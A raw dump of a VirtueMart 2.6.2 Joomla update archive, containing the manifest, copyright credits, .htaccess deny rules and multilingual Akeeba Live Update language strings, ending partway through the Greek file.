AAAAPKsl>\#o,,fr-FRnuW+APKsl>\ +com_virtuemart_update/README-VIRTUEMART.txtnuW+AInstallation procedure is described here: http://docs.virtuemart.net/tutorials/30-installation-migration-upgrade-vm-2/80-installation-of-virtuemart-2 Install first the core, then the aio!PKsl>\)com_virtuemart_update/.htaccessnuW+A Order allow,deny Deny from all PKsl>\*OO$com_virtuemart_update/virtuemart.xmlnuW+A VIRTUEMART May 22 2014 The VirtueMart Development Team max|at|virtuemart.net http://www.virtuemart.net Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.6.2 install/script.virtuemart.php install/script.virtuemart.php install/script.virtuemart.php router.php virtuemart.php index.html virtuemart_parser.php assets controllers helpers language views COM_VIRTUEMART COM_VIRTUEMART_MENU_CATEGORIES COM_VIRTUEMART_MENU_PRODUCTS COM_VIRTUEMART_MENU_ORDERS COM_VIRTUEMART_MENU_REPORT COM_VIRTUEMART_MENU_USERS COM_VIRTUEMART_MENU_MANUFACTURERS COM_VIRTUEMART_MENU_STORE COM_VIRTUEMART_MENU_MEDIAFILES COM_VIRTUEMART_MENU_SHIPMENTMETHODS COM_VIRTUEMART_MENU_PAYMENTMETHODS COM_VIRTUEMART_MENU_CONFIGURATION admin.virtuemart.php changelog.php COPYRIGHT.php index.html version.php virtuemart_defaults.cfg-dist config.xml access.xml assets controllers elements helpers install language liveupdate models plugins tables views en-GB/en-GB.com_virtuemart.sys.ini PKsl>\)8com_virtuemart_update/administrator/components/.htaccessnuW+A Order allow,deny Deny from all PKsl>\t1Kcom_virtuemart_update/administrator/components/com_virtuemart/COPYRIGHT.phpnuW+A

Copyright:
Since VM2 is a derived work of VM1, we list them beyond, some rests of them may be in the code.
VirtueMart derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses, including
works copyrighted by any or all of the following, from 2009 - 2012,
Max Milbers, Patrick Kohl, Valérie Isaksen, Rick Glunt, Roland Dalmulder, Oscar van Eijk, Urs Brülhart, Devendra Kumar Shukla,
Jörg Kiekebusch, Christopher Roussel, John Acosta, George Kostopoulos, Zbigniew Mazur, John Wicks, Markus Öhler, Stephanie Schmidt,
Vu Hoang Viet, Simon Hodgkiss, Fred Bidon, Mickaël Cabanas, Alexander Kludt, Konstantin Dzvonik



If you have contributed a vital part of VirtueMart that is not mentioned and/or missing here,
and you feel that your copyright note should be mentioned here,
please contact the leader of the author team of VirtueMart (max|at|virtuemart.net).

VirtueMart includes or is derivative of works distributed under the following copyright notices:

Administrator Icons
----
Copyright:	2008 Simon Josephson (http://www.artatwork.com.au)


Currency Converter Module
----
Copyright:	2004 Werner Knudsen
License:	GNU General Public License (GPL)


Image2Thumbnail Class
---
Copyright:	Andreas Martens and Patrick Teague
License:	Freeware


jQuery JavaScript Library
----
Copyright: 2009 John Resig
License: Dual licensed under the MIT and GPL licenses.

PEAR
----
Copyright:	1997-2004 The PHP Group
License:	PHP license


OLD VM1: Copyright, since we used some lines, all not already mentioned above is here again

VirtueMart derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses, including
works copyrighted by any or all of the following, from 2000 through 2005 (appearing in alphabetical order):
Ekkehard Domning, Zdenek Dvorak, Edikon corp., Soeren Eberhardt,
pablo (from Edikon), Bernhard Pfeifer,  John Syben, Phil Taylor, Erich Vinson,
or Mike Wattier from Zephware (devcompany.com)

(If you have contributed a piece of VirtueMart that is not mentioned and missing here,
and you feel that your copyright note should be mentioned here,
please contact the author of VirtueMart (max |at| virtuemart.net).)


CreditCard Class
---
Copyright:	Daniel Fr�z Costa
License:	Public Domain


FPDF
----
Copyright:	Olivier PLATHEY
License:	Freeware

HMTL2PDF
----
Copyright: 2004-2005 Renato Coelho
License:	GNU Lesser General Public License (LGPL)

phpInputfilter
----
Copyright:	Daniel Morris
License:	GNU General Public License (GPL)

phpMailer
----
Copyright:	2001 - 2003  Brent R. Matzelle
License:	GNU Lesser General Public License (LGPL)

phpShop
----
Copyright:	2000 - 2004 Edikon Corp. (http://www.edikon.com)
License:	GNU General Public License (GPL)
Community: http://www.phpshop.org

tar-archive
----
Copyright:	1997-2003 The PHP Group
License:	PHP License

wz-tooltip
----
Copyright:	2002-2004 Walter Zorn
License:	GNU Lesser General Public License (LGPL)

PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/index.htmlnuW+APKsl>\> 55lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/index.htmlnuW+APKsl>\kN lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PKsl>\iJJlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Bevor Sie Ihr Live-System aktualisieren, testen Sie das Update bitte auf einem Backup-System, um den Verlust von Daten zu vermeiden. Rechnen Sie mit kleinen Inkompatibilitäten, falls Sie Erweiterungen von Fremdanbietern oder eigene Anpassungen (Plugins, Module, Templates) verwenden." LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Denken Sie daran, auch Ihre Plugins und Module zu aktualisieren, wofür Sie den Live-Updater im VirtueMart-AIO Installationsprogramm benutzen können." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="Freigabekandidat" LIVEUPDATE_STABILITY_STABLE="Stabile Version" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung"PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/de-DE/index.htmlnuW+APKsl>\mfL L lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Elbcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nb-NO/index.htmlnuW+A PKsl>\@2R lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PKsl>\lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ 